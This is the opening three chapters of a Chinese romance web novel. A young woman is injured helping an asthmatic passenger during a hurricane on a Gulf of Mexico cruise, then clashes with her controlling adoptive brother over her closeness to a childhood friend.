《予你夜奔》 第1章 墨西哥湾 当三十多个未接来电闯进视线时,易兰嘉是真的觉得自己要完蛋了。 “你哥未免管你太紧,不过出来旅行几天也要干涉吗?” 餐桌对面的乔子穆抿了口桃红起泡酒,幽幽控诉。 兰嘉正苦恼怎么回复,决定先逃避一会儿严厉兄长的审判。 才买了新手机,她将取掉电话卡的故障机装进密封塑料袋,郁闷道:“就是因为这样,我才瞒着他偷偷出来。” 正值暑假,趁孟岑筠出差,她和好友乔子穆飞往墨西哥湾游轮旅行,在海上巡航一星期后,计划于今夜抵港。 “下船后你陪我找个维修店,里面还有好多重要资料。” “谁让你在海滩只顾着帮人找戒指,手机泡水里了都不知道。”乔子穆没好气地将切好的牛排与她交换。 兰嘉自然地享受着他的服务,含糊说道:“金婚戒指意义非凡,我也是看不得老人无助的样子。” 游轮中途停靠在度假岛,遇见一对老夫妻,因为丢了东西十分焦急。她见他们在烈日下佝偻着背寻找,被毒辣的阳光晒昏眼睛,终究没忍心袖手旁观。 “要是你对身边人也能这么上心就好了。”乔子穆小声嘀咕。 她没听清他说什么,刚想开口问,一种熟悉的,类似入梦前夕的失重感忽然向她袭来。 兰嘉不受控制地向□□斜,慌乱中想抓住什么,只见桌椅也跟着歪斜翻倒。 顷刻之间,偌大的餐厅响起重物倒地和杯盘碎裂声,旅客们恐慌的尖叫声此起彼伏。 “兰嘉!” 乔子穆见她跌倒,想扶,自己却因为惯性没法站稳。两个人抓握着对方手臂,艰难移动,勉强倚靠在承重的棕色大圆柱旁。 还未来得及喘息,一种强烈颤动又如同八级地震波蔓延船舱。 兰嘉睁大眼,怔愣地看着高涨的海浪如愤怒的巨蟒袭向游轮,蛇信般的冰凉海水不断舔舐着舷窗,一下,又一下,像是末日灾难片才会出现的场景。 之前便收到过预警,三级飓风莫尔顿已从佛罗里达州墨西哥湾沿岸登陆,游轮时速已提升至二十八节驶向码头,却没想到即将靠港时迎来了海上风暴。 陆地生物对海洋总是有种深入骨髓的天然恐惧,整个船舱像是被某种克苏鲁系的怪物擎在手中,说不定下一秒就会被捏得粉碎。 静待屠戮的片刻,乔子穆闭上眼,下意识握紧了兰嘉的手。 不知过了多久,船体的摇晃才渐渐平息。 「Ladies and gentlemen,this is a general emergency signal.」 女士们先生们,这是一条普通的紧急信号。 广播里传来船长的声音,安抚众人先待在原地不动。 不过大多数旅客已经紧张到失去理智,开始漫无目的地逃窜,警报声中,工作人员焦灼地维持秩序,现场乱作一团。 兰嘉深呼吸几次,抬手揩去额角的冷汗。 “没事吧?”乔子穆脸色苍白,但还是关注着她那边。 她摇头,两人搀扶着站起身,准备挪去安全的地方。 刚迈步子,只见前方有人轰然倒地,拦住去路。 兰嘉心里一惊,仔细看,是刚才坐隔壁桌的银发老太太,正四肢抽搐,呼哧呼哧地喘不上来气。 为了陌生人的一枚戒指,她可以在毒日头下晒两个小时,见此情景,更不可能坐视不理。 “您还好吗?” 兰嘉没有任何迟疑地蹲下身查看,听见老人呼气有哮鸣声,像是在拉坏掉的风箱。 两人对视一眼,立刻明白是哮喘症犯了。 “身上带药了吗?”她贴近她耳边询问。 一般患者都会随身携带。 老人摇摇头,脸色有涨紫趋势。 兰嘉心道不好,当机立断做下决策,对乔子穆说道:“你联系工作人员,看能不能找来医生,我得回一趟船舱。” “可是你一个人危险!”话音刚落,旁边餐柜中的一摞骨瓷碟也就跟着砸下来,哗啦啦摔得粉碎。 乔子穆慌忙伸手,指尖将将擦过她手臂,还是没能拦住她。 情况危急,兰嘉头也不回地往前跑。好在头等舱离餐厅较近,她跌跌撞撞地穿过惊慌失措的人群,顺利回到房间。 打开行李箱,快速翻找到了鹅黄色的收纳小包,里面正好有常备的气雾剂。 她暗暗松了口气,想到老人病情,又提心吊胆起来,拿了药火急火燎地冲出房门。 先前铆足了劲跑过来倒没有什么,此刻站立在异常倾斜的走廊上,被忽明忽暗的恐怖灯光映照着,忽然觉得脚步虚浮,双腿发颤。 她恐惧地吞咽唾液,决定硬着头皮往前闯,然而风暴再次席卷而来,巨浪高涨,狠狠拍向船体。兰嘉头脑一阵眩晕,身体被重重抛向墙板,撞得骨头生疼。 药瓶骨碌碌向前滚落,她管不了太多,几近狼狈地匍匐往前,终于将它重新攥回手中。 好不容易跑到餐厅,远远瞧见乔子穆正拉着一个工作人员交涉,两人都焦头烂额的样子。 他看到她身影出现,宛如救星降临,大喜过望地向她挥手。 “这里!” 兰嘉气喘吁吁,正要赶过去,哪知颠簸频生,一辆金属餐车轮子溜滑,猛地向她袭来。她怔了一瞬,凭借本能向前躲避,脚下趔趄,重重扑倒在地。 金属餐车狠狠砸向墙壁,发出爆炸一般的巨大声响。 兰嘉艰难抬头,看见冷硬的铁块已经被撞得凹陷变形。她呆愣在当场,还没意识到刚才差点粉身碎骨。 口袋里的手机恰好在此刻嗡嗡震响起来,吓了她一跳。 她猜到是谁打来的,双眼却立刻慰热起来,一阵空茫的无助涌上心头。 “兰嘉!”前方传来呼喊声。 海浪袭击的势头渐缓,乔子穆仓惶狼狈地向她跑过来。 “你有没有事?”他伸手扶她,焦急得脸色煞白。 “别管我了,我让你找的医生呢?” “你怎么能把老人一个人扔在那儿?”兰嘉顿时有些火大。 “我拜托了工作人员照管,已经联系过医生了,船上伤患太多,实在忙不过来。”乔子穆一边拉着她小跑,一边飞快解释。 兰嘉挣脱,将气雾剂塞到他手里,顺手推他一把:“你知道怎么使用,赶快去!” 乔子穆被推得踉跄,回头诧异地看着她。 “快去!”她语气很重地催促。 他像是意识到了什么,眼神中有些难以置信。然而情况紧急,回望了她好几眼,还是很不甘心地朝那边赶过去。 兰嘉望见他熟练地对老人进行急救措施,高悬的心脏终于落地。 她将藏在背后的手臂伸出来检查,已经鲜血淋漓。 刚才那一跤属实摔得不轻,现在浑身还疼得剧烈。 一瘸一拐,摇晃着往前走,又忽然想起那个响了半天的电话。 摸到手机,打开界面,未接来电又增多一个。 兰嘉叹气,有种大祸临头的预感,依旧不敢回拨。 另一边的乔子穆已经结束救治,好在老人只是轻度发作,反复吸了几剂药物便没什么大碍。 船医这才姗姗来迟,给老人做了仔细检查后,称赞他处理得当。 兰嘉不知什么时候也过来了,对他露出一个肯定的微笑。 乔子穆没回应,面无表情地站起身,伸手捉住她手腕。 “停停停……轻点!”明明没用什么力道,兰嘉还是疼得龇牙咧嘴。 他这才看见那些狰狞的伤,眼眶登时就红了。 经过一番风暴肆虐,游轮总算有惊无险地靠岸。 加尔维斯顿港骤雨如注,晦暗的天空下弥漫着飓风来临前的恐慌。 兰嘉和乔子穆办理好手续后下船。 手上的伤口已经简单处理过,只是玻璃碎渣嵌得太多,船医让她上岸后尽快复诊。 乔子穆提着行李,肿着两只眼,频频望向面色委顿的兰嘉。 从小被娇惯长大的人,哪里受过这样的罪?越想,越觉得自责,明明在他眼皮子底下,还是没能照顾好她。 兰嘉见他像只耷拉着耳朵的兔子,笑他没出息:“受伤的是我,你哭什么哭?真是个弟弟。” “我也就比你小三个月。”他板着脸控诉。 转念想到刚才危急情景,又愤愤不平起来。 “你也是,拿药不能让我去吗?这么危险还往前冲,拦都拦不住!费心费力地救人,到头来连句谢也没听到,还把自己搭上,到底图什么?” “救人就非得图什么吗?”兰嘉没好气地踢他一脚,“顺手的事,你们学商的人就是爱锱铢必较。” “你倒是不计较了,我呢?你要是有个好歹我怎么办?你知不知道我刚才都快吓死了?易兰嘉你到底能不能考虑下我的感受?” 见他突然爆发,兰嘉两眼发愣。仔细想过后,刚才的确是她冒进了。 “好啦,事态紧急,我当时没来得及想这些。乔大少爷,是我伤害了你的脆弱心灵,给你道歉行不行?”她耐着性子同他解释。 “谁要你道歉了?”他脸色更差。 她盯着他,忽然笑起来,“下次说硬气的话之前,麻烦把眼泪先擦一擦。” 他恼怒地偏过头,过了好半天才将情绪压下去,艰涩出声: “你总是这样,让我觉得自己很没用。” “兰嘉,其实你可以指使我做任何事。” “以后不管遇到什么困难,你都第一时间向我求助,好不好?” 面对他恳切询问的目光,兰嘉心中有了隐秘的触动。 雨声急密,滴滴答答打在伞面上,往下坠,在两人脚边水花四溅,围成一圈水汽迷蒙的天然屏障。 可惜不合时宜的铃声瞬间打破了此刻的氛围。 她整个人紧绷起来,连忙说道:“快帮我拿下手机。” 乔子穆放下行李,在兰嘉的斜挎包里翻找到递给她。 他接过雨伞,与她一同屏息凝神地看向来电显示。 兰嘉心跳如擂鼓,正想要接,却发现指尖都在颤抖。她无措地与乔子穆对视一眼,在他鼓励的眼神中,终究还是认命地将电话移到耳边。 按下接听,对面安静了两秒钟,听筒里才传来漠然的声音:“在哪儿?” 简短,却极具威压。 港口之外的市民都被疏散回家,空荡的马路边正静静停着辆显眼的黑色轿车。 车门打开,漆黑的长柄伞往外撑起,一个身型高挑的人往港口引道走去。 兰嘉正在大雨中踟蹰行走,模模糊糊地看见前方人影,顿住脚步。 来人走近,见到他们后松了口气,“大小姐,总算是找到你了。” 兰嘉认出他是孟岑筠身边助理,心中五味杂陈,既庆幸又不安。 “小覃哥,我哥呢?” “在车上等你。”周覃对乔子穆点了个头,接过行李。 “那他有说什么吗?” “没有,只让我来接你们。” 兰嘉心想完了,这下她也拿不准孟岑筠到底生气到什么程度了。 周覃见她面露难色,忍不住提点两句:“先生在加州处理好工作后,得知你的消息便立刻赶过来。飓风即将波及德州,附近机场都关停,这一路上很不容易。” 她垂眸,心里莫名的闷,没再出声了。 乔子穆偷偷看了眼兰嘉,低声安慰:“挨骂有我陪你。” 她扯了扯嘴角,没心情回应。 三人加快步伐离开引道,总算见到停靠的轿车。 周覃负责搬运行李进后备箱。 兰嘉在一旁踌躇半天,不敢进去。 乔子穆知道后座有人,苦涩地与她交换眼神,表示自己没办法帮忙。 周覃这时过来替她打开车门,向她示意。 她无计可施,只好硬着头皮钻进车内。 “乔少,这边。” 乔子穆暗叹,去了副驾。 兰嘉刚坐下,便觉得自己被阴冷窒息的氛围瞬间包围。 她贴着窗边,盯视前方,大气不敢喘。 车子缓缓启动,往加尔维斯顿中城驶去。需得在酒店下榻几日,等风暴过去,才好搭乘私人飞机回国。 兰嘉攥着膝盖上湿漉漉的格纹裙摆,像只被关进笼子里的花栗鼠,无所适从。 不知捱了多久,身旁人才沉声开口: “手怎么弄的?” 作者有话说 显示所有文的作话 第1章 墨西哥湾 第2章 珍珠扣 兰嘉心里一声重鼓,嗫嚅回答:“在船上不小心摔倒。” 她当然不敢讲出细枝末节,孟岑筠一向严令禁止她多管闲事,大概是怕她惹是生非,又要他出面善后。 然而相处多年的人又怎么会不知道她本性,看透她隐瞒,质疑追问: “不小心?” 她看着手臂上的纱布,暗怨船医包扎得实在太夸张。 “就……海上有风暴,我一下没站稳。” “是,你总有那么多的意外。”见她还不肯说实话,他语气骤冷。 “这也不能怪我,谁能预料突发事件会落到头上。” “你自己清楚为什么。” 兰嘉突然反应过来,他还是在为她偷跑出来这件事发火。 这算什么?她是他豢养的鸟吗?他一声令下她就飞,他一吹哨子她就回笼? 她手都这样了,却还是一句关心也没有,这人是铁石心肠吗? 前排的乔子穆眼见两人剑拔弩张,连忙出来劝和:“岑筠哥,是我非要拉着兰嘉出来旅行的,也是我没照顾好她才害得她受伤,你要骂就骂我吧,不关兰嘉的事。” “小乔,你用不着帮我说话,因为我没错!” “兰嘉,你也别逞强了,这次的确是我们考虑欠妥,你还是跟岑筠哥低个头吧。” “乔子穆你到底站哪边的?” “从现在开始,我们绝交!” “……” 孟岑筠冷眼瞧着两个小的一唱一和,没有再开口的意思。 兰嘉与乔子穆拌了几句嘴,悄悄转头,匆忙瞥见孟岑筠侧脸,眉目郁然,下颚线紧绷,显然在控制着不发脾气。 她立刻条件反射地噤了声,规规矩矩坐好,车内再次陷入死寂当中。 像木偶似的僵了许久,又不免躁郁起来,额头无力抵靠着车窗,手疼如噬,疼出一身冷汗。 车子开到一间度假酒店,立刻有门童过来泊车和搬运行李。 等待办理入住手续的间隙,乔子穆搀扶兰嘉在大堂沙发坐下。 周覃已经提前通知酒店安排医生上门,孟岑筠看了眼两人互相倚靠着的背影,又向他确认了一遍相关事宜。 拿了房卡乘电梯上楼,三人的房间都被安排在同一层。 周助打开其中一间,领着兰嘉进去休息,乔子穆紧跟其后,接过她的包包,再轻车熟路地从行李箱里找出一套干净衣服递给她。 “把裙子换下来吧,别感冒了。” “哦。”兰嘉恹恹地走进浴室。 套房会客厅里只剩下两人,周助看见乔子穆又自然地开始理箱子,神情略微诧异。 乔子穆接收到他视线,有些不好意思地笑了笑:“兰嘉伤了手,整理东西不方便。” 周助点头,很识相地没有多说什么,毕竟是人家私事。 但他隐隐有种微妙的预感,不算好。 兰嘉伤在右手,然而连衣裙背后是几粒珍珠扣,相当紧,她曲起一只手臂在后面解了半天,解不开,愈发焦躁,于是出来求助。 “小乔,快来帮我弄下扣子。” 乔子穆正将兰嘉的小药瓶们放在床头柜,听见她声音后立刻过去。 兰嘉背过身,垂头等他弄好。 他将她长发拨到一边,拈着最上方那粒欲解,却没想到她忽然往前迈步。 “唉,别动。” “嘶……好痛啊。” 几根极细的发丝缠绕在纽扣上,扯动头皮。 “都让你别动了。”乔子穆语气无奈,小心翼翼将发丝抽出来。 兰嘉看向地上才理了一半的行李箱,着急地问:“怎么没看到那个深蓝色的小盒子。” “是在科苏梅尔岛买的那个吗?” “对。” “应该在我行李箱里,等会儿我去找。” “你伴手礼买太多了,当时箱子都快撑爆,连一只蚊子都飞不进去。” 兰嘉想起乔子穆在路上抱怨过她的箱子重得像砌金字塔的石块,忍不住笑。 “这不是有你在吗?规划大师。” “是是是,乐意效劳。” “不过你真的有这么多朋友要送吗?”他暗地里有些许酸溜溜。 “有啊!” “外婆、明姨、静薇……还有清淮姐。” 听见她细数,乔子穆莫名失落,“连我姐都有份,那我呢?” “你?当时不也在岛上吗?自己买。” “那能一样吗?”他哭笑不得。 “好啦,下次我和别人出去玩的时候会记得给你带礼物的。”兰嘉适时剪断话锋。 他闷闷地嗯了声,手指下移,擦碰到兰嘉裸露的皮肤,觉得不妥,又缩回指尖。 “后面几颗你应该可以自己处理了。”乔子穆轻咳一声。 刚才那一丁点触感传达到神经末梢,钝钝的,像是雨水滴在身上。兰嘉略微回过味来,发觉有些异样,但还没来得及细想,便听见突兀的一声: “易兰嘉。” 两人一齐转头。 只见孟岑筠正带着医生站在门口,紧盯他们的方向。 一时间,三个人目光相对,空气悄然凝结起来。 兰嘉摸摸鼻子,总觉得好像被误解了什么。 乔子穆敏锐地听出这语气是带有示警意味的。 他挠了挠后脑勺,对她说道: “那我先回房找东西。” 医生走过来,竟是位温柔的大姐姐,微笑着说:“裙子,我可以帮你。” 兰嘉道了声好,在医生帮助下换了衣服。 出来坐在会客厅沙发上,重新检查伤口。 孟岑筠也坐在一旁,目光落在她手臂上,看着纱布被一层层揭开,裸露出红肿的伤口。 像是野兽留下的狰狞抓痕。 他神色里变得十分晦暗。 “清创没做干净。”还有一些极小的玻璃碎片嵌在肉里。 “难怪这么疼。”兰嘉故作轻松地说。 “还好扎得不深,我现在把它们取出来,忍着点哦。”医生对她讲话的语气都是轻轻的。 兰嘉感到一丝安慰。但也只是一丝。 从小到大,她最怕受皮肉之苦,立刻转过头去不敢再看。 只感受到精细的镊子在伤口里搅来搅去,如同变异的硬壳虫用口器疯狂刺咬她。 额头开始渗出细密的冷汗,为了转移注意力,她无意识地将墨绿色的丝绒沙发攥得皱巴巴。 抬眼时,冷不丁撞上孟岑筠视线,见他紧抿着唇,因为顶光,挺拔的眉骨之下笼着一片阴影,那是一种极具压迫感的肃然。 在她面前,他似乎很少笑过,讲话也冷冰冰。他们不像普通兄妹那样亲近,更类似家长与小孩子。他对她总是有种天然的威重和积压,那是随着时间与日俱增的,越长大,她越讨厌这种距离感,总觉得在从她身边夺走什么。可是她没有办法。 最脆弱的时候,兰嘉突然很委屈,眼里立刻汪着眼泪。 见她忍痛模样,孟岑筠微不可查地皱起眉,暗中考量了一会儿,伸出一只手打算让她抓。 可惜兰嘉不知道。须臾之间,她早已转过头去不看他。 无人注意的片刻,他蜷握起搁在沙发扶手上的那只手,悄然收了回去。 那边医生已经包扎完毕,叮嘱道: “患处未痊愈前先不要沾水,这几天尽量少用右手,有问题随时联系我就好。” 见医生要离开,兰嘉坐着不安,逃避似的起身送她到门口。 再回来时,脚步却懒下来,拖拖赖赖地往前走了几步,又猝不及防地与孟岑筠对视。 他只是端坐在原地,目光却如同蛛丝密网,牢牢地网住她。 兰嘉知道躲不过,闷头坐回沙发,一言不发。 “你打算和我就这么耗下去?”见她像株蔫掉的莲瓣兰,他语气也放软了些。 她摇头,手指卷弄着衣摆边缘,仍然委屈。 孟岑筠最了解她吃软不吃硬这套,纵使心里也有气,但还是耐着性子同她讲话。 “你不想开口,我也不再追究船上到底发生了什么,只希望你往后做事记得小心谨慎。” “你知道你的手意味着什么,有多重要,应该不用我多讲。” 兰嘉略微鼻酸,鼓起勇气问道:“哥,你是不是觉得我给你惹麻烦了?” 她明白他最讨厌计划被打乱,更憎恶事情脱离掌控。为了找她,千辛万苦赶来德州,又因为飓风过境被困城中,这几天,不知道又会耽误多少生意进程。 孟岑筠不是好脾气的人,做事果决,雷厉风行,对待身边累赘更是持零容忍态度。可这么多年来,他却一直因为责任跟在她身后解决麻烦,收拾桩桩件件的烂摊子。 虽然他从未有过明确怨言,但兰嘉从来不敢细想,在孟岑筠心里,他究竟是如何看待她的? 她害怕听到真相。 然而面前人只是用一种复杂且费解的神情看着她,好半天才出声: “易兰嘉,你脑子里到底在想些什么东西?” “你觉得我真的在乎这些小事?” “要是哪天你不给我惹麻烦了我才会觉得奇怪。” “那你是怎么想的?”她小声接话。 “我并非要你从今往后做事都畏手畏脚,我只要求你对我坦诚,无论何时何地,都要让我知晓行踪。只有确保你是安全的,我才不会管束你太多,明白吗?” 兰嘉听了,不免腹诽:真要让他得知计划,怕是连家门都无法踏出。 但她面上丝毫不显,熟练地做出讨好姿态。 “嘿嘿,所以哥,其实你生气也是因为关心我对吗?” 孟岑筠面无表情,不置可否。 她绽开笑颜,立刻乘胜追击,“那我答应你,以后一定及时报备,绝对不让你担心。” “如果我下次不小心闯祸了,你也不会怪我的对吗?” “得寸进尺。” “哥,我们和好吧。”兰嘉提议。 孟岑筠审视了她一会儿,站起身,而后才赦免似的出声: “下不为例。” 听出默认的意思,她也笑着起身,十分殷勤,“我送你出去。” 一直跟到门口,孟岑筠正打算离开,又忽然转过身来。 兰嘉眨眨眼,“怎么了?” 想到刚才情景,他不免严肃叮嘱:“你与乔子穆相处,注意些分寸。已经不是小时候了,异性之间也该保持社交距离。” “嗯嗯,知道了。”她一副百依百顺的样子。 “晚安!” 咔嗒一声,房门关上了。 兰嘉背过身,如释重负地长吁了口气,脸上笑容也逐渐淡下去。 从小到大,无论衣食住行,还是念书交友,她好像没几件事能顺心遂意。 自从这个家由孟岑筠做主后,兰嘉似乎一直活在他极端掌控的乌云之下。 电话需得二十四小时开机,出门远行必须定时汇报,延误门禁少不了一顿冷脸审讯,与她接触的人一定会被严密调查。 她还记得初中二年级的暑假,新交的朋友偷偷带她去郊外农场玩到天黑,孟岑筠知道后整整一星期没理过她。她永远也忘不了他找过来时的神情,是那样的震怒,任凭她怎样哭诉也无济于事。 后来开学,她再也没有见过那个女生。 再后来她才得知,那农场附近有个废弃工厂,发生过不少刑事案件。 她已经无心去纠结事情真相到底如何,只觉得孟岑筠未免太神经敏感了点。 从那以后的很长时间,她再也没有交到一个新朋友。 喜欢的人永远不敢靠近她,她也越来越害怕为身边人带来无妄之灾。 孟岑筠的掌控欲就像一把如影随行的锁,需得她谨小慎微,费心周旋,才不会被牢牢拷住。 可是将来呢?次次都用这招,总有一天会失效,掉眼泪解决不了根本问题。 她已经厌烦自己只知道听孟岑筠的话,但在她找到两全其美的办法之前,自由还是很遥远的事。 兰嘉郁闷一阵后,悄悄打开一条门缝,往走廊里窥视,还好没人。 她蹑手蹑脚地走出去,来到隔壁房间,没敢敲门,只发送了条信息过去。 很快,房门打开,露出一只乔子穆的笑眼。 “欢迎欢迎。” 他压低声音,拉她进去,两人像地下组织接头。 到了乔子穆身边,如鱼得水,顿时卸下所有伪装。 兰嘉哀嚎一声,如同烂泥瘫倒在床上。 乔子穆盘腿坐在地毯上,撑着脑袋看她:“怎么样了?他还生气吗?” “暂时和好了。” “我就知道,你哥不会见你受伤还无动于衷。” “那是因为我先向他低头了啊,总是这样,真没意思。” “凭什么每次都要你先求和?这也太不公平了吧。” “那能怎么办,他那么高高在上,难道要让他主动对我低头?简直匪夷所思。” “你都不试着抗争,怎么知道没可能?” 兰嘉翻过身,泄气地说:“你不明白,和我哥作对没好处的,他可以想出一百种方法来整治我。” “再说了,如果惹恼了他,我的零花钱怎么办?我的限量款包包怎么办?我的高定和珠宝又怎么办?要是我穿着过季的裙子去参加聚会一定会被笑话死!” “没志气。”他曲起指节在她脑门上弹了下。 “所以你是不想失去这些才这么怕你哥的?” 兰嘉思考片刻,玩笑道:“谁会拒绝一个印钞机呢?我哥赚钱能力可是一流的。” 乔子穆注视她好一会儿,忽然认真道: “兰嘉,如果你想要的只是这些的话,我也可以给你。” “股权分红、古董房产、基金债券,还有三十岁后的信托资产,我都可以分给你。” 兰嘉愕然:“你想干嘛?” “你在炫富吗?” 他拧着眉,似乎不知道如何解释,苦恼得像皱了皮的土豆。 “我只是不想你因为钱失去自由。” “不想你做事无法尽兴。” “不想你每次和我出来都要提心吊胆。” 兰嘉目光审慎地盯着他,沉默的时间里,乔子穆小心地吞咽一次,然后听见她忽然噗嗤一声,在床上笑得滚来滚去。 “哈哈哈哈哈乔子穆你怎么这么有趣!” “刚才我都是乱说的,我怎么可能会被这种小事威胁?” “那是为什么?”他声音有些闷。 察觉到他不开心,兰嘉收了笑容,凑近过来:“怕他吗?其实我也很矛盾。小乔,从我出生起,我哥就一直陪在我身边了,虽然他有时候管我管得太多真的很烦,但也不能否认他有好的一面。” “我知道在他身边无法获得随心所欲的自由,可我竟没办法真的下定决心逃离这一切。” “兰嘉,他不是你真正的哥哥,你们没有血缘牵绊。他有什么理由成为你的束缚?”乔子穆语气少见的强硬。 兰嘉只觉得他有些失常,但还没到反感地步,耐心同他解释:“可我们是家人。” “所以在你心目中,他对你的好远远大过阴暗面?” 她只是看着他。 “如果有一天,你发现他根本不是你想象的那样好,你还会想要留在他身边吗?” 兰嘉渐渐挂下脸,“乔子穆,你怎么怪怪的?” “时间不早了,我先回房间了。” 见她起身要走,乔子穆拉住她的手。 他垂着眼睫,没看她,只说道:“兰嘉,我希望你幸福快乐,无拘无束。” 她淡淡地“唔”了声,迈步向前。 可惜她没料到今晚实在是个多事之夜,否则她一定不会选择在这一刻打开门。 空旷的走廊里,斜对角房间,孟岑筠穿着一身雾灰睡袍立在门口,眉眼疏冷,正好与她四目相对。 兰嘉脊背发凉,有种惊悚之感。 第3章 雏鸟 乔子穆见她顿在门口,过来探看,整个人也暴露在对面的视线中。 一时间,危险的缄默四处蔓延。 孟岑筠注意到两人因为近距离而贴在一起的衣袖,目光又尖锐几分。 乔子穆怕她因为这局面难堪,本想出言解释些什么,没成想兰嘉先伸手将他往里推。 “你先别说话。” 他噤声,脸色却不太好,由着她掩上房门。越来越窄小的缝隙中,孟岑筠注视着他,眼神平静如冰湖。 浓黑的夜,湖底也是冷如寒潭的。 直到门彻底关上,乔子穆才后知后觉地察觉到异样之处。 孟岑筠是否对他敌意太过? 门外,兰嘉攥着衣摆,一步一步地挪动过去。 “哥……你怎么出来了?” “刚才敲门你不在。” 她莫名听出冷笑意味,想来是早就在这儿守株待兔,等她撞入陷阱。 “现在几点了?你把我的话当作耳旁风?”孟岑筠沉下声音,已然动怒。 才为他与乔子穆闹得不愉快,现在又听他训话,纵使她再温吞,此刻也忍不住升起一股郁火。 “我又做错什么了吗?”她有点不耐烦。 “不待在自己房间休息,四处晃悠什么?” “想和朋友说会儿话也不可以?” “有什么话不能明天说,深夜共处一室成什么体统?”这个年纪的男生整天都在想些什么,他又怎么可能不懂? 可兰嘉看着他冷肃的表情,只觉得一口怨气憋闷着出不来。乔子穆说得没错,凭什么次次都要向他低头? 他总是这样独断专行地控制她,非要将她身边所有人都逼走才肯罢休吗? 想到之前的种种窝囊,她握紧拳头,终于硬气起来:“他又不是别人,他是我最好的朋友!” “我不管他是什么人!” 没预料他骤然提高音量,吓得她瞳孔一缩。 孟岑筠看见她不自觉地往后退了一步,脸色更沉, “易兰嘉,你答应过我的事总是转头就忘。” 这句指责落到身上,兰嘉眼眶立刻红了,她手足无措,几乎是哽咽着说道:“那你要我怎么办呢?” 她背过身,紧接着又焦躁地转过来,泪水失禁地望着他:“我受伤了,我手疼,我只想找个人帮帮我,难道这也有错吗?” “那你为什么不找我?” “那是因为你只会对我生气!”她口不择言地对他吼。 “我真的不明白,你一定要对我这么苛刻吗?” “还说你做这一切都只是为了满足你偏执的掌控欲?” 话音落下,孟岑筠怔在原地。 过了半晌,他声音才缓下来,轻微的哑,带着一点不可置信:“兰嘉,你就是这么想我的?” 她避开了他伸出的手,没说话,像只怯弱的兔子一步步后退,躲进洞中。 看着房门紧闭,孟岑筠有些懊丧地闭上双眼。 乔子穆从门镜收回窥视的目光,脑中思绪纷乱。 身处矛盾中心,他知道自己现在出现无疑是添油加火。可一想到兰嘉刚才的眼泪,便无比痛恨自己没能挡在她身前。他握着把手,忍了又忍,最终还是顶着压力冲出去。 孟岑筠收起表情,漠然地凝视着面前这个年轻人,精致羸弱如薄瓷的脸孔,妹妹的同龄人。 他对他谈不上厌恶还是排斥,只是每每在他面前,总会被一次又一次的提醒,自己比他们老锈十年的事实,因而有种隔膜。 从兰嘉七岁开始,她身边就多了一个乔子穆,朝夕相伴,形影不离。 初次见他时,他被兰嘉带回家,两个人肉乎乎的小手拉在一起,在易女士面前哭得鼻子发红,问将来可不可以和兰嘉结婚。 他比他们都要年长许多,在他眼里也不过是童言无忌,根本不必要放在心上。可时间越久,他越能察觉到这并非戏言,而是如同蚕食般,他开始一点一点地夺走兰嘉的注意力。 他不知道自己为何如此在意,如此惦念,甚至产生一种隐秘的危机感,像是远古时代的部落被嗅到肉味儿野兽纠缠、侵占。可真要让他拿起武器去驱赶、争夺,却又好似一朝回到文明社会,胜之不武只会令他难堪。 况且野兽还只是幼兽。 他同兰嘉一样,也只是小孩子。 他清楚这种感觉与敌意相差甚远,可能会有点不甘,但更多的反而是羡慕。羡慕他的年岁,羡慕他懂得如何与她相处,羡慕他轻而易举就能使她开怀。 然而他没想到,这个令他羡慕的年轻人,此刻竟郑重地对他说:“在兰嘉心里,其实你比她想象中还要重要得多。” “岑筠哥,兰嘉在船上是因为救人才受伤,那不是她的错。关于我们相处,也是我考虑不周,模糊界限感,以后我会注意。” “兰嘉敏感,有时候若无其事,然而一句重话就能使她受创伤。她在意你的看法,在意你的感受,所以才会往心里去。” 乔子穆抿了抿唇,鼓起勇气直视他目光, “请您,不要对她太过苛责了,可以吗?” 很莫名的,孟岑筠暗中滋长出一种占有性,心想你又对我妹妹了解多少? 但他依旧面色不改,只是异常冷淡地说:“这是我与兰嘉之间的事。” 轰隆隆的雷声降下,加尔维斯顿的午夜仿佛世界末日。 窗外的乌桕树枝被狂风吹得磕托磕托,如同鬼魅敲窗。 兰嘉瑟缩在被窝里,辗转反侧,在巨大的震响中,无助地用被子捂住脑袋。 睡不着,习惯性地去摸枕边的东西,却摸了个空。她心里咚的一声,从床上弹坐起来,翻来覆去地找,没有。 床头抽屉,没有,行李箱,没有,衣柜里,没有,哪里都没有…… 她在房间里着火似的乱窜,忽然想到什么,又立刻冲出去敲房门。 乔子穆刚洗完澡,衣服还未来得及穿,听见门口急密的敲击声,只裹了条浴巾便去开门。 “兰嘉?”他欣喜地出声。 视线下移,见她光脚站在冰凉的地板上,又皱眉:“怎么没穿鞋?” “我的蓝丝巾不见了,在你这里吗?我怎么也找不到。”她压低嗓音,焦急得快要哭出来。 乔子穆大脑空白了一瞬。 因为他知道这东西对她来说有多重要。 烟蓝色,小马图案的一条丝巾,是兰嘉从小带在身边的安抚物。他见过,但她从来不让他碰。 仔细回忆了片刻,他神情凝重,“兰嘉,不在我这里。” “完了,肯定是我下船的时候没带走。” 她浑身无力地坐在地上,将头发揉得乱糟糟。 “收拾房间的时候,他们会不会把它扔掉?” 跟了她十几年,丝巾早就破得只剩一小缕,任谁看都会把它当作垃圾处理。 “我怎么会犯这种错,偏偏忘记它……” 她抱着脑袋,整个世界都崩塌了。 “兰嘉,你别多想,这种天气无法出海,更不会有新的船客来。东西肯定还在船上,我这就去联系游轮那边,一定会找回来的。” 乔子穆握着她双肩,将她扶起来。 “先去休息好不好,明早起来我就给你答复。” 兰嘉失魂落魄地倚靠着墙,她有严重的分离焦虑,从五岁尝试独自入眠起,妈妈的丝巾一直是她睡前的慰藉物,独特的触感,独特的气味,差一分一毫她都能感觉出来。 骤然丢失了这么重要的东西,和爬到雪山顶发现没了氧气瓶有什么区别? 乔子穆苦口婆心地劝了她好久,她才像缕幽魂一般,浑浑噩噩地飘回房间。 毫无意外地失眠,她有喘症,医生不建议闻香、碰花,许多有助眠效验的东西她都无法使用。 兰嘉呆坐在床上,苦恼了一会儿,最终还是选择拿起床头的小药瓶。 吞了药片重新躺下,心脏仍然跳得紊乱,不知过了多久才渐渐平息。四处浓黑,唯有风声,意识模糊中,总感觉有只魔爪拉着她直往下坠。 一墙之隔,孟岑筠也一如既往地难以入眠,米色小灯稀薄的光线中,他枯坐在沙发上,看着茶几上的礼物盒出神。 每次出差,他都会给兰嘉带一件礼物,这是多年以来的惯例。 以往的兰嘉还未等他进门,就已经像只兴奋的小鸟飞扑而来了。而如今,他们似乎越来越疏离。 兰嘉开始有了秘密,兰嘉不再下意识依赖他,兰嘉竟然怕他…… 